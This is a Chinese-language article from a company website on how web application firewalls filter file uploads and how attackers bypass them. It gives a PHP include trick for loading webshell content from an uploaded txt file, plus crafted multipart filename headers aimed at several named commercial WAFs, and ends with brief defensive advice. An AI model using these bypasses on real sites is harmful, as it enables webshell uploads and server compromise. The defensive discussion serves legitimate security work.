网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线： 152-150-65-006 023-68263070 扫描二维码加我微信

web安全团结互助，让我们共同进步！

当前位置：主页 > 技术资讯 > 网络安全 > web安全 >

我们的优势： 10年相关行业经验，专业设计师量身定制设计师一对一服务模式，上百家客户案例！企业保证，正规流程，正规合作 7*24小时在线服务，售后无忧

WAF防御及WAF的上传绕过手段

文章来源：重庆网络安全围观次数：

分享到:

摘要：WAF（Web Application Firewall）只是一种产品，它实现了一系列HTTP HTTPS安全策略以为Web应用程序提供保护。上传绕过不算什么技术了，正所谓未知防，焉知攻。

WAF（Web Application Firewall）只是一种产品，它实现了一系列HTTP / HTTPS安全策略以为Web应用程序提供保护。上传绕过不算什么技术了，正所谓未知防，焉知攻。

一.上传绕过

1.通用开发者防御策略

客户端JavaScript验证（通常仅后缀名称验证）服务器端验证1>文件头content-type字段验证（image/gif）2>文件内容头验证（GIF89a）3>后缀名称黑名单验证4>后缀名称白名单检查5>自定义常规检查6> WAF设备检查（取决于不同的WAF产品）

2.Bypass

2.1有些waf无法保护带有asp / php / jsp后缀的文件，但他会检测其中的内容

例如：

1.首先上传带有木马内容的txt后缀文件，因为后缀名的关系没有检验内容

2.然后上传内容为.php文件，内容为<?php Include(“上传的txt文件路径”);?>

此时，php文件将引用txt文件的内容，从而绕过验证。包含以下语法：

例如2：

上传文件：shell.php

上载文件：test.txt

<?php phpinfo();?>

将test.txt添加到压缩文件test.rar

访问shell.php以执行PHP代码

试图将压缩文件的后缀修改为zip，phar，rar，发现可以。

2.2 WTS-WAF Bypass

Content-Disposition: form-data; name="up_picture"; filename="xss.php"

2.3 Baidu cloud Bypass

发现百度云当前阻止了后缀。百度云的上传与<？ Php 前面是否有代码还有很大关系，让我们自己研究一下。

Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

百度云绕过要简单得多。对于文件名，它不会检测到PHP。 PHP可以通过，或PHP。一句话，您可以使用Xise自己合成图片。

2.4阿里云WAF

Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg

Bypass:

Content-Disposition: form-data; name="img_crop_file"; filename="1.php"

注意：删除Content-Type：image / jpeg以绕过它。

2.5安全狗上传Bypass（不能绕过最新版本）

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png

Bypass:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png

C.php”

注意：删除ontent-Type：image / jpeg并仅保留c，然后在c之后添加.php，但要注意其数量，双引号必须在c.php后面加上“。自己研究。

2.6云锁上传Bypass

Content-Disposition: form-data; name="up_picture"; filename="xss.php"

二.防御

详细讨论Type防御机制，其他防御机制可以自己继续研究。

1.1该目录不可执行：只要Web容器无法解析该目录中的文件，即使攻击者上载脚本文件，服务器本身也不会受到影响，因此这非常重要。

1.2判断文件类型：判断文件类型时，应与MIME类型，后缀检查等方法结合使用，推荐使用白名单方法。

1.3用随机数重写：文件上传。如果要执行代码，则需要用户有权访问此文件。在某些环境中，用户可以上传但不能访问。

本文由重庆网络安全整理发布,转载请保留出处，内容部分来自于互联网，如有侵权请联系我们删除。

相关热词搜索：WAF防御 WAF上传 WAF绕过重庆网络安全

上一篇：开源WAF：Web应用防护系统，信息安全技术，以成品文档为例测试评估开源WAF，可有效阻断大部分黑客攻击，对0day有着一定的防御作用
下一篇：开源安全模块modsecurity测试攻击有效载荷加密，WebShell流量检测的WAF性能分析

关于我们

重庆牛创网络科技有限责任公司是一群技术强大、思维活跃、拥有创新精神的年轻人创立，公司致力于为企业提供全面、周到、专业的互联网解决方案，提供网站建设、网络推广、网络安全审计、wifi营销认证、网站运营维护、域名注册、虚拟主机、企业邮局、企业形象设计等多种信息产品和服务。

联系我们

公司电话： 023—68263070
办公地址：重庆市北碚区金华路399号
邮箱：120481297@qq.com
技术咨询：15215065006

“互联网+”方案

重庆网站建设

备案图标渝ICP备19004889号-1 渝公网安备 50010902000896号

行业安全认证

web安全团结互助，让我们共同进步！

WAF防御及WAF的上传绕过手段

热门资讯

关于我们

联系我们

“互联网+”方案